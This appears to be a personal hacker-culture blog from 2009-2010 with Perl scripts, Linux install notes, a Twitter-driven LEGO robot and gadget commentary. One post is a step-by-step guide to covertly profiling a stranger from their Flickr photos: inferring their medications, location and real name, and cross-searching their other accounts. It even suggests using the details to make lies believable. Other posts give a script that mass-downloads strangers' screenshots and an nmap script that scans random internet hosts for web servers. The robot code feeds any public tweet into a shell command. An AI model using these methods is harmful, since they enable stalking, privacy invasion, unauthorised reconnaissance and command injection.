I started looking at the C Sound book yesterday. I knew instantly I needed to learn something new, something both technical and artistic, I haven't quite nailed down what I'm going to do, I do know the general direction I am going. I'm rebooting and reorganizing my experience idea. I was working with arduino and next to have sensors that tell what your mood is and try to change it(maybe for the better). I still love the idea, but I am going to add a human component. I have a lot of hopes of what it will be, and would love to share them with you but I feel if I do so and my plan never comes to fruition, then I will feel even more the fool. So to get in the right mindset, I am getting back in touch with my skiddie roots. I rode an electric skateboard to work today, I safety pinned anti Microsoft logos on my bag, and a cDc logo as well, and other such non sense. Even though physically and mentally I really don't feel that well, knowing I am starting a new project has rays of optimism and excitement. I will hopefully be posting here more, I will be posting on fucking fiction, most assuredly.

Google TV

2010-05-20T10:45:00.000-07:00

http://www.google.com/tv/

Nashville Flooded

2010-05-05T09:46:00.000-07:00

My hometown is under water...zomg. Pictures

How to help.

New posts and my feelings of purileness

2010-04-06T10:29:00.000-07:00

I feel that the new posts, since my absence have at best been juvenile. I apologise for the poor content. I planned to have a big to do when the blog turned two, however that didn't happen, mostly because of a turn in my health and stress at my job/life as well as other obligations. I apologise for this. I will at some point in the future have a HUGE DEAL, to make up for it. However, as I am still in poor health, and my work and finances demand my attention elsewhere I will try to appease with what I can. Expect new content on http:\\fuckinfiction.wereboobs.com soon. And expect better posts on here.

One of the reasons for the ubuntu posts is because I was a hardcore fedora fan, however after using there test repositories and 13 alpha, I had so many crashes and data loss....I finally went to the darkside...yes, oh yes, I tried arch. I know it's all the rage. And all the cool kids are using it. But my problem with arch was many. So I went with Ubuntu, please forgive me.

Also, here's me straight razoring my head.....yes, I am an idiot.

Thanks,

Dusty C.

Ubuntu / Gnome change your wallpaper every 10 seconds

2010-04-06T10:19:00.000-07:00

Ok so assuming you have a folder named Wallpaper in your home directory which contains numbered .jpg's(in my case 385) you can use this to change your wallpaper every 10 seconds. You can adjust how often it changes by changing the sleep number on the 5th line of the script and you can adjust the number of wallpapers you have on the sixth line of the script by changing the number 385. I originally had made this as a cron job rather than a constantly running perl job which I run in screen (screen perl wallpaper.pl...then ctrl + a + d). However I was having some trouble getting it to work with cron, and the outside sources I used to help figure this out where at a loss so here it is.


#/usr/bin/perl
use strict;
use warnings;
while(1){
 sleep(10);
 my $numberW = int(rand(385));
 print $numberW;
 my $wallpaper = "gconftool-2 -t string -s /desktop/gnome/background/picture_filename /home/lane/Wallpaper/".$numberW.".jpg";
 system($wallpaper);
}

Now you may wonder how you get neatly numbered wallpapers. Well I wrote a script for that as well and it works as long as none of the wallpapers are already named as numbers already. Remember to change the @files dir to the directory where the pictures already exist non-numbered, and to put the $newfile directory where you want the new files to go. It is not advisable that these be the same place.


#!/usr/bin/perl -w
use strict;
use warnings;
my @files;
my $it = "207";
print $it;
@files = ;
my $counts;
my $newfile;
my $file_number = "0";

while(1){
  foreach (@files) {
    my $file_regex = qr!(\d+\.jpg)!s;
    if ($file_regex =~ @files) {
      $counts = $counts + 1;
      print $counts;
      if ($counts == scalar @files) {
        print "fuck you";
        }
        if ( $counts == scalar @files ) {
          exit();
          }
    }
    my $loopy = "1";
      while($loopy){
        my $file_regex = qr!(\d+\.jpg)!s;
     if ($file_regex !~ @files) {
       $newfile = '/Users/lane/Downloads/tat/ta2/'.$it.".jpg";
      rename($files[$file_number], $newfile );
      ++$it;
      ++$file_number;
      if( ! -e $newfile){
          $loopy = "0";
          exit();
        }
      
      }
    }
}

Installing all new crap on debian / ubuntu

2010-04-04T22:18:00.000-07:00

THis is the same as the script before as written for both arch and ubuntu...the diffrence being is that if you aren't root you need to run this with sudo. Just remember save the script with a name like install.pl and launch it from the command line with a cammand like: sudo perl install.pl

The script:


#!/usr/bin/perl
use strict;
use warnings;

my $aptget;

my @aptget_installs = qw(
 xchat screen cpan
 wget pcre-devel cmake
 gtk+ pygame python-devel
 cmake cmake-devel liblo
 liblo-devel gcc-c++-devel cmake-gui
 libsndfile libsndfile-devel qjackctl
 zynaddsubfx vkeybd qtjack-devel
 csound csound-devel portmidi
 rosegarden4 jamin jack-audio-connection-kit-devel
 ctapi-cyberjack-devel zynjacku ardour
 nxt_python pybluez
);

&array_cracker();

sub array_cracker(){
 foreach(@aptget_installs){
   print $_;
   $aptget = `apt-get install -y $_`;
   print $aptget;
  }
}

Installing a bunch of crap on arch linux through a perl script.

2010-04-03T21:05:00.000-07:00

Rewrote the script I made for setting up my music and dev stuff for fedora, in perl:

#!/usr/bin/perl
use strict;
use warnings;

my $pacman;

my @pacman_installs = qw(
xchat screen cpan
wget pcre-devel cmake
gtk+ pygame python-devel
cmake cmake-devel liblo
liblo-devel gcc-c++-devel cmake-gui
libsndfile libsndfile-devel qjackctl
zynaddsubfx vkeybd qtjack-devel
csound csound-devel portmidi
rosegarden4 jamin jack-audio-connection-kit-devel
ctapi-cyberjack-devel zynjacku ardour
nxt_python pybluez
);

&array_cracker();

sub array_cracker(){
foreach(@pacman_installs){
print $_;
$pacman = `pacman -Syq --noconfirm $_`;
print $pacman;
}
}

Rsync slowness?

2010-04-02T13:18:00.000-07:00

I was having some slow rsync issues on my all gig ethernet network. I was rsyncing as such and was having less than stellar download speeds. My network is setup with one macbook, a linksys routers[gig ethernet](one of the slightly higher end models not the standard wrt54g). And it's connected on my fedora box, here are the speeds I was getting:

My "rsync -avz -P /Users/lane/Downloads/ root@192.168.1.201:/home/lane/Downloads/rsync/":
Code:
Bones/Bones Season 2/Bones.S02E05.HDTV.XviD.avi
366486588 100% 7.42MB/s 0:00:47 (xfer#11, to-check=858/1014)
Bones/Bones Season 2/Bones.S02E06.HDTV.XviD.avi
365428736 100% 7.41MB/s 0:00:47 (xfer#12, to-check=857/1014)
Bones/Bones Season 2/Bones.S02E07.HDTV.XviD.avi
366942838 100% 6.59MB/s 0:00:53 (xfer#13, to-check=856/1014)
Bones/Bones Season 2/Bones.S02E08.HDTV.XviD.avi
366863346 100% 7.25MB/s 0:00:48 (xfer#14, to-check=855/1014)
Bones/Bones Season 2/Bones.S02E09.HDTV.XviD.avi
366988952 100% 7.08MB/s 0:00:49 (xfer#15, to-check=854/1014)
Bones/Bones Season 2/Bones.S02E10.HDTV.XviD.avi
366969326 100% 6.37MB/s 0:00:54 (xfer#16, to-check=853/1014)
Bones/Bones Season 2/Bones.S02E11.HDTV.XviD.avi
366988976 100% 7.19MB/s 0:00:48 (xfer#17, to-check=852/1014)
Bones/Bones Season 2/Bones.S02E12.HDTV.XviD.avi
366975374 100% 7.60MB/s 0:00:46 (xfer#18, to-check=851/1014)
Bones/Bones Season 2/Bones.S02E13.HDTV.XviD.avi
367679488 100% 6.76MB/s 0:00:51 (xfer#19, to-check=850/1014)
Bones/Bones Season 2/Bones.S02E14.HDTV.XviD.avi
367340574 100% 6.69MB/s 0:00:52 (xfer#20, to-check=849/1014)
Bones/Bones Season 2/Bones.S02E15.HDTV.XviD.avi
366983676 100% 6.98MB/s 0:00:50 (xfer#21, to-check=848/1014)
Bones/Bones Season 2/Bones.S02E16.HDTV.XviD.avi
366794752 100% 7.34MB/s 0:00:47

I ran this command on my linux box
ethtool -s eth0 speed 1000 duplex full
I think ifconfig eth0 down then ifconfig eth0 up and restarted the rsync.
And the speeds increased but not dramatically:

ue_Gender1-26(complete)/zx.blue.gender.05.divx503.ogm
237303388 100% 17.56MB/s 0:00:12 (xfer#1, to-check=887/1014)
Blue_Gender1-26(complete)/zx.blue.gender.06.divx503.ogm
238456995 100% 11.51MB/s 0:00:19 (xfer#2, to-check=886/1014)
Blue_Gender1-26(complete)/zx.blue.gender.07.divx503.ogm
237551102 100% 5.34MB/s 0:00:42 (xfer#3, to-check=885/1014)
Blue_Gender1-26(complete)/zx.blue.gender.11.divx503.ogm
243860297 100% 16.20MB/s 0:00:14 (xfer#4, to-check=881/1014)
Blue_Gender1-26(complete)/zx.blue.gender.12.divx503.ogm
242815771 100% 16.70MB/s 0:00:13 (xfer#5, to-check=880/1014)
Blue_Gender1-26(complete)/zx.blue.gender.13.divx503.ogm
239553347 100% 20.09MB/s 0:00:11 (xfer#6, to-check=879/1014)
Blue_Gender1-26(complete)/zx.blue.gender.14.divx503.ogm
237805952 100% 11.54MB/s 0:00:19 (xfer#7, to-check=878/1014)
Blue_Gender1-26(complete)/zx.blue.gender.15.divx503.ogm
237405118 100% 16.57MB/s 0:00:13 (xfer#8, to-check=877/1014)
Blue_Gender1-26(complete)/zx.blue.gender.16.divx503.ogm
238030584 100% 17.48MB/s 0:00:12 (xfer#9, to-check=876/1014)
Blue_Gender1-26(complete)/zx.blue.gender.20.divx503.ogm

However, this still isn't satisfactory. After some more investigation I started using the mii-tool
mii-tool -v
Which showed that my eth0 card was still at the same speed:
eth0: negotiated 100baseTx-FD flow-control, link ok

This does not explain the speed increase if this tool is accurate.
I decided to then investigate the mac and after a greping of the dmesg found this:
sudo dmesg |grep 'en0'
Ethernet [AppleYukon2]: Link up on en0, 1-Gigabit, Full-duplex, Symmetric flow-control, Debug [796d,af08,0de1,0200,cde1,2800]

And while it is not definite proof that the port is running at gigabit it does make me want to look to other areas for a speed boost. Does rsync just have an incredible amount of overhead? Or is there something else wrong? And if something else is wrong, is it the router, or one of the boxes...perhaps I should just be less picky about my speeds. If you have any answers let me know.

New Posts, The nexus one, and hyperlocal.

2010-01-10T11:38:00.001-08:00

I haven't posted in a little bit so I posted twice today for you guys, below is a little robot I coded while at the coffee shop. But I also wanted to talk about google's neww phone the nexus one. This is the one google is really throwing there weight behind. They had a press conference and since then this thing is on almost everybody's adsense, including this blog and my employers. I read somewhere that they were having a little copyright trouble with the name as the Phillip K. Dick estate was a little mad about the Bladerunner refrence. There's only one reason I don't like the nexus and that's because it doesn't have a keyboard. If I was a patient person I myself might have gotten The Droid over The Moment, however I'm not patient and though there are things that irritate me about my phone, I still love it.
I think google maps has really changed the way I live. If I need something in particular I always hit google maps first to make sure that the place I am going is the closest. I really use it a lot now that I have moved to West Nashville, and am not as familiar with the area as I would like to be. As someone who works in the "hyper local" space, I appreciate this apps and the one's like it. I also like foursquare,sort of a venue tagging phone app for hipsters or something, and will probably be making use of that shortly.(I hope I can become mayor of cafe coco). The blog is almost 2 years old, last year I had a huge announcemnt....I have one of those coming but don't know if I will make the deadline of doing it exactly on the year mark. But let's check the two years of analytics we have so far:

The picture is only impressive if you click on it.

Have a Happy Twenty-Ten, and if you have any suggestions for the blog feel free to comment.

BeerBot Prime Here to save the day. Or maybe get you a free beer and a date.

2010-01-10T11:35:00.000-08:00

I made this robot, at and for coffe shops or other public places with wifi. You can take him there and whenever anyone tweets his name, it will read the message from your laptops speakers...yes yes I know, ignore the man behind the curtains. This will only work on mac os x right now, as it uses the say command. If there is an equivelent on linux you can just plug the command name in $say near the bottom. If you have windows you can execute a little vbscript here that will do the same thing. So what I do is tweet things like "I want a coffee" for places like the coffeshop down the road and for places like cafe coco I crank it up with, "Will you buy me a beer". As always make sure any modules you don't have are install via cpan or activestate's ppm utility if you have trouble with cpan.

i.e. A tweet like this:
@beerbotprime Buy me a beer

will make beerbotprime say buy me a beer, no matter what account it is tweeted from
he also moves his hand


use Sys::Hostname;
use strict;
use warnings;
use LEGO::NXT;
use LEGO::NXT::Constants qw(:DEFAULT);
use LEGO::NXT::MacBlueComm;
use Net::Twitter;
use Date::Format;
my $dev = new LEGO::NXT::MacBlueComm('/dev/tty.NXT-DevB');
my $bt = new LEGO::NXT( $dev );
my $speed = 100;
my $tachoticks = 360;
my $tailFtac = 100;
my $tailBtac = 100;
my $tailSpeed = 100;
my $tailBSpeed = 100;
my $backSpeed = 100;
my @names = ('New Tweet');
my $bob = "test";
my $tail = "tail";
my $retract = "retract";
my $say;

my $tweet = Net::Twitter->new( username=>'beerbotprime', password=>'insertyourpassword' );
print "logged in? \n";
my $last_id = undef;
my $switch = 0;

while(1){
 my @tt = ();

 if($last_id){
  @tt = $tweet->friends_timeline({count => 5, since_id => $last_id });
 }else{
  @tt = $tweet->friends_timeline({count => 5 });
 }

 foreach my $t (@{$tt[0]}){
  my $target = $t->{text};
  
  if($target =~ m/beerbotprime/i){
    $say = `say $'`;
    $bt->set_output_state( $NXT_NORET, $NXT_MOTOR_A, $speed, $NXT_MOTOR_ON|$NXT_REGULATED, $NXT_REGULATION_MODE_MOTOR_SPEED, 0, $NXT_MOTOR_RUN_STATE_RUNNING, $tachoticks );
    $bt->keep_alive($NXT_NORET);

   printf("%s: %s\n", $t->{user}{screen_name}, $t->{text});
   print "sleep 4\n";

   sleep(4);
  }

  $switch = 0;
  print "sleep 4\n";
  sleep(4);
 }
}
exit;

A note to perl enthusiasts trying to get Lego::NXT installed on their machines

2009-12-23T17:29:00.000-08:00

If you keep getting cpan errors trying to install Net::Bluetooth or LEGO::NXT...

You need to first install Device::SerialPort first.

Save you many headaches.

Weirdnes on the nettertubes

2009-12-18T14:30:00.001-08:00

So no one is officially posting anything but engadget and tmonews, but T-mobiles network was down for at least 4.5 hours yesterday, the only official thing I saw here http://www.tmonews.com/2009/12/oh-no-another-t-mobile-nationwide-outage/. Tmobile said it was only 5% of customers affected but the outage covered NYC so that doesn't sound right. I heard reports of att internet down as well. And the Iranians took down twitter for a bit. I doubt any of these things are related but if you get any actuall facts on this stuff please comment. Sounds like scary shit to me. I don't mean to cause a panic, because I don't believe any of it's related I just want more info.

OGDI Python tutorial, or why OGDI is awesome.

2009-12-09T14:46:00.000-08:00

The open government data initiative is a program started by Obama. It is so, that the US government can make easily available to the public, data that the public normally has the right to see, but it allows it to be accessed in a programmable way. It is sponsored by microsoft. And at first that sounds bad. Like to much information. And that microsoft has the data. But I gotta say this thing is shaping up to be pretty spiffy. And though it seems like it is more geared toward microsoft's .net, it has JSON and XML plugged into it as well, and grabbing the data with python is easy as pi.

Ok so the below, is an example of Juvenile Arrest Charges in DC if you just want to start with that use this url:
http://ogdi.cloudapp.net/v1/dc/JuvenileArrestsCharges/
instead of
http://ogdi.cloudapp.net/v1/dc/JuvenileArrestsCharges/?$filter=gender%20eq%20'F

What I have done is add a query of gender eq 'F' to the filter which automagically filters the results. So now you only see juvenile's arrested that are Female.


import urllib
from xml.dom import minidom
from xml.dom.minidom import parse, parseString

def GetData():
   url = "http://ogdi.cloudapp.net/v1/dc/JuvenileArrestsCharges/?$filter=gender%20eq%20'F'"
   xmldoc = minidom.parse(urllib.urlopen(url))
   contentNodes = xmldoc.getElementsByTagName("content")
   for contentNode in contentNodes:
       partitionKeyNodes = contentNode.getElementsByTagName("d:PartitionKey")
       for node in partitionKeyNodes:
           print node.childNodes[0].nodeValue

       rowKeyNodes = contentNode.getElementsByTagName("d:RowKey")
       for node in rowKeyNodes:
           print node.childNodes[0].nodeValue

       timestampNodes = contentNode.getElementsByTagName("d:TimeStamp")
       for node in timestampNodes:
           print node.childNodes[0].nodeValue

       entityidNodes = contentNode.getElementsByTagName("d:entityid")
       for node in entityidNodes:
           print node.childNodes[0].nodeValue

       nameNodes = contentNode.getElementsByTagName("d:name")
       for node in nameNodes:
           print node.childNodes[0].nodeValue

       addressNodes = contentNode.getElementsByTagName("d:address")
       for node in addressNodes:
           print node.childNodes[0].nodeValue

       weburlNodes = contentNode.getElementsByTagName("d:weburl")
       for node in weburlNodes:
           print node.childNodes[0].nodeValue

       gis_idNodes = contentNode.getElementsByTagName("d:gis_id")
       for node in gis_idNodes:
           print node.childNodes[0].nodeValue

       genderNodes = contentNode.getElementsByTagName("d:gender")
       for node in genderNodes:
           print node.childNodes[0].nodeValue

       offense_descriptionNodes = contentNode.getElementsByTagName("d:offensedescription")
       for node in offense_descriptionNodes:
           print node.childNodes[0].nodeValue

Your output will look something like this:


2009-03-0915:40:00
1926986
1de0bb1f-688a-4fd8-bc38-e2d76a42f83d
F
OTHER MISDEMEANOR OFFENSE
2009-03-2920:20:00
1927070
fa3139e8-8c03-43d6-babc-96837f625645
F
ADW -- OTHER DANGEROUS WEAPON/ASSAULT W/INTENT TO COMMIT SODOMY WHILE ARMED
2009-03-2921:40:00
1927071
620134cd-d136-4d83-80dc-da5bfa3580d6
F
ASSAULT SIMPLE IN MENACING MANNER

If you just want the output you can actually load a link up in excel. The website shows you how to do this with code samples in various .net languages, ruby, python, php etc..
http://ogdisdk.cloudapp.net/Default.aspx
The video and sample code on the site are very useful.

Information is only available in DC right now it seems...Though it seems while I was doing research on this there was a map showing michigan had finished as well as some other states...though I don't know how to get to that data...hmmm.

For more information there is a microsoft site here:
http://www.microsoft.com/industry/government/opengovdata/

Ok....so, why is this the bees knees? Why am I so hyped about this? Everyone has those horror stories of how they didn't get a job because of drunk photos on facebook or something. I honestly believe that with public information sources like these, there will be so much crap on everybody. So much of bad things that people do...usually in the comfort of their own home. That people are going to forget this silly nonsense, of you did something I don't approve of, and I'm not going to hire you. I think with this really open sources of information a day will come when you don't have to be Jesus to get a job. I write a lot of shit down on the intarwebs, and post pictures etc... I know what posting my opinion or general malfeasentry can cost me. But in the end I think this big ol' goofy world is just going to have to accept imperfect big ol' goofy people.

This does make a bold assumption that things like people's personal arrest records will be available online.

Plus the world needs an app that pairs dates based on similar criminal interests, lulz.

Script for installing rpmforge repo on CentOS

2009-12-04T12:40:00.000-08:00

At work we were battling with out of date packages and packages that just simply weren't in the repos. To solve this we added rpm forge to our centOS boxes.

These are two simple scripts that add based on your architecture.
64 Bit Version of RPMForge on Centos


#!/bin/bash
mkdir repo
cd repo
yum -y install yum-priorities
wget http://apt.sw.be/redhat/el5/en/x86_64/RPMS.dag/rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm
rpm --import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt
rpm -K rpmforge-release-0.3.6-1.el5.rf.*.rpm
rpm -i rpmforge-release-0.3.6-1.el5.rf.*.rpm
yum check-update
echo "priority = 99" >> /etc/yum.repos.d/rpmforge.repo

32 Bit Version of RPMForge on Centos


#!/bin/bash
mkdir repo
cd repo
yum -y install yum-priorities
wget http://apt.sw.be/redhat/el5/en/i386/RPMS.dag/rpmforge-release-0.3.6-1.el5.rf.i386.rpm
rpm --import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt
rpm -K rpmforge-release-0.3.6-1.el5.rf.*.rpm
rpm -i rpmforge-release-0.3.6-1.el5.rf.*.rpm
yum check-update
echo "priority = 99" >> /etc/yum.repos.d/rpmforge.repo

QC, Questionable Content Meetup in Nashville last night

2009-11-28T06:54:00.000-08:00

That's Questionable Content for the uninitiated.

This is me and Jeph. This meet up was neat and really approachable. I think anyone who asked, would have gotten a drawing. I didn't want a drawing I just wanted my friends and I to get pictures.

Here, are some of the people that showed up:

Some were more enthused than others to have their picture taken.

But the main reason I am blogging this is because, one person, home grown in the big TN, was ,pre than hospitable. She made sure I got my picture taken with Jeph, and really left me walking away with a great view topatoco, her name was Christy or Kristy, or some other spelling, I didn't get the spelling, I apologize. Regardless she help make the evening memorable for my friends and myself:

***She's the cute one in the back***

More pictures at my flickr
My flickr

Microsoft VS Apple, Google grows

2009-11-24T08:27:00.000-08:00

In 1975 Microsoft began selling BASIC interpreters, what we might consider a computer language today. Back then OS's weren't really a part of the computing scene, you wrote your own programs or copied them from a book. But that's not really what I want to talk about, there are thousands of texts on this subject. Microsoft started empire building from then on, trying to dominate the market in all ways. One major move they made was to corner IBM to distribute their OS.They put their Internet browser that was not standards compliant on there OS, not just to obliterate the Netscape browser, but to obliterate the server market that Netscape was a part of. By having a browser that was incompatible with there server, they were taking the bread and butter of Netscape. This is key part of what happened, this is when Microsoft truly started empire-building. A sort of allegory, in which Microsoft began building castles. Companies like Apple tried to compete, but they were competing on the same terms, and in the early days they thought that simply having a better product would win the war. However this didn't work. Apple and Microsoft were the equivalents of warring nations, and though Apple (debatably) provided better products, it was simply out gunned. Even after Steve Jobs came back in coup like glory, they were still fighting the same war. They did take a step forward in making a remarkable phone, with a good profit markup. Even though Microsoft had a mobile platform, it wasn't that good, and it certainly wasn't a complete solution.
Despite this Apple and Microsoft are still fighting the same war. Apple has taken to use some guerrilla tactics, which while that has helped it hasn't really brought them to equal market share.

Enter Google. "Don't be evil"
Google does not sell computers, or phones, or languages. Googles sells ads. It leases various platforms such as AndroidOS for phones, eventually ChromeOS for netbooks(and maybe more). Google offers applications....for free. Most of the code for these products are freely available. The quality of it's mail app, is in my opinion comparable to Outlook, and while I wouldn't say the other google doc apps are perfect, or are as feature rich as Microsoft's apps, I would say that they are a replacement, I wouldn't scoff at, and what's more, they are free. So I wanted to leave with one metaphor, if Apple and Microsoft are nation building empires, filled with castles and war machines, this is not what google is. Google is a form of ivy. And while ivy in general will not do any damage to a well mortared wall, it will however tear down, walls with imperfections, walls of castles that have been fighting each other for years.

Who doesn't love a little voyeurism...or How to grab some pics from http://grab.by/

2009-11-22T15:56:00.000-08:00

I love lookin' at random people's pictures. Don't know why always have. Back in the days of DC++ I used to just grab gigs and gigs of peoples My Pictures. Sometimes awesome (Transformer Cosplay), sometimes not so awesome(Weird amateur porn). But anyways, it's still a hobby. I came across a tiny screen shot grabber site called http://grab.by/ , now grab by allows you to easily allow you to upload screen shots...coincidentally it allows you to easily download them to. So I devised a tiny script to get quite a few, if you know what your doing you can tweek it and get a bit more, but this should get you about 2600 pics for your viewing pleasure. Here's the script, and it should work on linux or mac:


#!/usr/bin/perl
use strict;
use warnings;

my $variable = 1;
my @letters = ("a", "b", "c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
while($variable < 100){
 foreach(@letters){
  print $_;
  my $wgetc = "wget http://grab.by/"."$_"."$variable";
  `$wgetc`;
 }
 ++$variable
}

Oh and if you liked this you might also like my flickr post: about having an imaginary girlfriend on flickr
or stalking...or soemthing..whatever you call it.

PS it looks like the letters got cut off in the array so if you don't copy it, you will have to finish the leters r-z by yourself ending them in a ");"

no quotes

Oh and if you have linux, you should be all set, if you have mac you need to get wget and put it in your system path. Oh and if you have windows....why the hell are you reading this blog...err I mean get cygwin and wget and perl, and hack you some shit together.

ChromeOS thoughts

2009-11-19T10:51:00.000-08:00

The ChromeOS demo was today. I'm going to zoom through the negatives first. Oh and here's a simplified video:

Negatives:
Hardware
DIY Computing

ChromeOS will only use specified hardware components and will be primarily for netbooks(the story so far). DIY computers, like building your own device for chrome os, is going to be hard and a hack. I feel that these things suck...but now for the good news.

Paradigm shift:
Everything is a web app. Everything. Editing video is a web app. Someone I work with suggested that they would make javascript that had system calls. But it seems to me, that now you just build your web app to work, and Chrome and ChromeOS do all the hardware stuff for you. The browser will have access to the GPU etc.

Only SSD drives.

Everything is in the cloud...WTF EVERYTHING. It's like the last suit you are ever going to wear. All your stuff will be in the cloud so you can download it when you get a new machine, even saves custom settings like wallpaper. You can use the hardrive to store stuff, and it is natively encrypted. But for the most part everything will live in the cloud.

I think this is a great step forward from the traditional computer paradigm, I'm excited and can't wait until I can buy a chromeOS device.

Bonus: Chrome Browser should come out for linux and mac very soon. I have been using the nightly build script found here:
http://www.macosxhints.com/article.php?story=20090604081030791

The marketting video is the one at the top of the page.

I HAZ A NEW PAGE!!1! wereboobs.com

2009-11-18T11:03:00.000-08:00

I decided to make a new page for all of my on going projects. It probably looks awful in your browser and resolution....but being that very few people are going to actually look at it, I'm not fixing it. However, it has links to some programming stuff and some other projects I am working on, that I haven't mentioned on the blog, so feel free to check it out....

wereboobs.com

This guy is a fucking joke

2009-11-15T13:58:00.000-08:00

The worst part of this, is this guy was on Modern Marvels. What the fuck?

I guess I can't watch Modern Marvels anymore. le sigh.

The Samsung Moment An android phone

2009-11-13T08:35:00.000-08:00

Engadget kind of slammed this phone, but I bought it anyways. They said:

On that level, we applaud Sprint for staying on the ball and recognizing that the keyboardless Hero wasn't enough to satisfy every last subscriber who'd like to get in on Android. Thing is, the Moment still feels like a first-generation device -- and for a platform that launched commercially a solid year ago, that's not really acceptable.

Engadget Review

I haven't really owned a smartphone since my sidekick 2(if you even consider that a smart phone), so maybe I'm not the guy to make judgement. But I love this phone. The pictures it takes are acceptable quality:

***To see full size photo click, then on the flickr page click all sizes, then click original***

The videos it takes are the same:

And the fact that I can listen to last.fm from and to work makes me happy. The only thing I think that feels first generation about this device, is that it's a little thick. But with an 800Mhz processor which is one of the faster chips in the android phone, and a full qwerty keyboard, the thickness doesn't bother me. I used an iPod touch as my PDA before I got my Moment, however the moment has completely replaced this device. The only real criticism I have of this device is that it came with android 1.5, rather than 1.6 or 2.0....What up with that? But really that hasn't affected my experience, all the apps I wanted are there...with the exception of a kindle app, which I REALLY enjoyed on my ipod touch. But there are no kindle apps on any android. But I have heard that they are making a kindle app for the mac...one day in the far future. So I guess I'll wait for that.

Having an imaginary relationship with a flickr person. (Stalking ?)

2009-11-10T09:43:00.000-08:00

This tutorial/manual will go over the very basics of stalking someone on flickr. It's simple, and you can't get herpes from flickr. I have lots of reasons for doing what I do, but I figured it's more interesting, how I do what I do. There is only one strict rule to this "game", DO NOT MAKE CONTACT - YOU ARE DOING SOMETHING MOST PEOPLE CONSIDER CREEPY AND UNNACCEPTABLE. No matter how endearing you believe you are, you aren't. You're just a creep. It's best to be a happy alone creep. Or a broken depressed alone creep....without a restraining order.

Look through flickr for a subject, you might want to start on the Most Recent Photo page. It's best to choose someone with at least 1000 photos. Don't watch the videos at first, I'll talk about videos in closing. Look through every photo, and extract information. Sometimes it will be blatant, like a skyline you recognize revealing the place they are at. Sometimes things will be subtle, always look for writing in the background. Any sort of information that might reveal more about there personality, habits, hobbies, medications, and work(More about medications below). Pay attention to things like, what tv shows and books are in the background, or what programs are running on there computer, and if you get a picture of the dock or the task bar, study it for things you can figure out about them, like creative programs, like photoshop or Reason. Often times you will get pictures of food, a good indication of diet, let's you know if there vegan or on a macrobiotic diet or whatever. Are they messy, are they neat? Keep notes in a notepad/TextEdit.app/gedit file, if you have a bad memory.

Adding them as a contact on flickr, or favoriting a photo, is probably okay, just for your convience of finding their page...however, favoriting 500 of their photos is not ok. Dead give away you're a weirdo. You don't want to be on the radar, no matter how much you think you do.

If you divine there real name from the photos, or account info, use pipl.com to do a search this will reveal all there other online accounts. If you don't have there name use there flickr screen name to search on other social networks. Last.fm is my favorite because I can compare musical tastes. Some social networks, like facebook, etc are to revealing about the person to have an idealic imaginary relationship with them, so stay away from these.

The best place to look up what medications is always google, just don't go to the pharmaceutical companie's website about the drug, that's never interesting, you want a wikipedia site or medical site. By the way, if you just get a shot of the pill imprint code, the best place to look that up on is rxlist.com. Of course the best way to glean information from medications is just being familiar with drugs in general, and if you're reading this you probably have a pharmocopia your self, so that shouldn't be an issue.

If you see that they have a boyfriend, or girlfriend, just innundate that person with horrible qualities, and pay particular attention to shots, were they are together but unhappy.

FAQ:

Ok this guide was awesome...so awesome in fact now I'm madly passionately in love with this person, what the fuck did you do to me? FIX IT!

Ok so this is what the videos are for, video's are the fastest thing to help you find faults in someone. Like a horrible southern drawl you didn't expect. Go through the pictures one more time and look for things that just annoy the piss out of you. Like something they wrote that was incredibly unclever, or conji tattoos. Or look at that endearing picture of her crying, and think "That's just a crazy crying bitch, would hate to deal with her shit all the time". It helps

Is this healthy?
Probably not, no.

Are there advanced techniques not included in this manual/tutorial?
Yes, but it's probably unethical to post them on the intarwebs.

Why the focus on Medications?
Usually people who have thousands of pictures of themselves publically available online, have a screw loose. I mean look at me for fuck's sake.

Any practical applications for this "game" ?
I guess if one were so inclined, by building scenarios in your head, like seeing your subject at a fair and then implanting yourself at the fair and thinking about the fun you would have would be it's own reward. Ok not really, but something it would help with, is if you had to lie on the spot about a whole day or thing that happened. With the memory of pictures you can add a level of detail and complexity to your lies that make them very believable.

Why would I do that?
You're reading a post on a hacker culture blog, about having a fake relationship with someone who has a flickr account....I'm pretty sure fucked up shit happens to you a lot, and some of that probably involves lieing.

Why do you do this?
I have problems...lots and lots of problems, and it's pretty much a good thing I never meet these people.

You're a fucking psychopath.
That's not a question.

I see what you did there.....with my childhood

2009-11-09T08:33:00.003-08:00

woot PhreakNIC, see you guys around 4:00

2009-10-30T12:35:00.000-07:00

http://www.phreaknic.info/pn13/ woot Hometown Hacker con

Script for finding servers of a particular kind. IIS Apache or Otherwise.

2009-10-28T11:40:00.000-07:00

For this script you need to have nmap installed. In the example script I made I am search for IIS servers but you can use it to search for any kind, just search for them in the format that nmap saves them as. So apache servers would change the variable to this:
my $webserver_type = qr!(Apache)!;

So this script saves all open servers to one file, all servers of a particular type to another file, and it saves all results to a file. You can cahnge where those files are by editing these variables:
my $hunt = "/root/serverhunt";
my $found = "/root/found";
my $open_file = "/root/open";

**Oh and it just appends to the file, so you can run it and it will never overwrite your progress, just add to it.**

This does scans randomly in increments of 100, you can change how many times you want it to loop by changing this variable:
my $howmanyloops = "1";
So if you wanted to do it twice you would put:
my $howmanyloops = "2";

Ok so before you get going with this you probably need to be aware of the legality of port scanning. Port scanning may attract unwanted attention. Talk to a lawyer before port scanning. I'm not liable for you using this script. Etc Etc....


use strict;
use warnings;

my $webserver_type = qr!(IIS)!;
my $open = qr!(open)!;
my $howmanyloops = "1";

my $hunt = "/root/serverhunt";
my $found = "/root/found";
my $open_file = "/root/open";

my $nmap_scan;
my @hunt_file;
my $line;
my $iter = 0;

while($iter < $howmanyloops){
 $nmap_scan = `nmap -sV -iR 100 -P0 -p 80 -oG $hunt`;
 open HUNT, $hunt;
 @hunt_file = ;
 close(HUNT);
 open FOUND, ">>", $found;
 open OPENFILE, ">>", $open_file;
 foreach(@hunt_file){
  $line = $_;
  if($line =~ $webserver_type){
   print FOUND $line; 
  }
  if($line =~ $open){
   print OPENFILE $line; 
  }
 }
 ++$iter;
}
close(FOUND);

Installing SuperCollider3 on Fedora 11

2009-10-24T07:52:00.001-07:00

So I went to install supercollider on Fedora and I was using the standard instructions:
http://swiki.hfbk-hamburg.de:8888/MusicTechnology/479

But I had some extra problems and solutions I would like to share:
Most of the dependencies I already had installed:
See Here

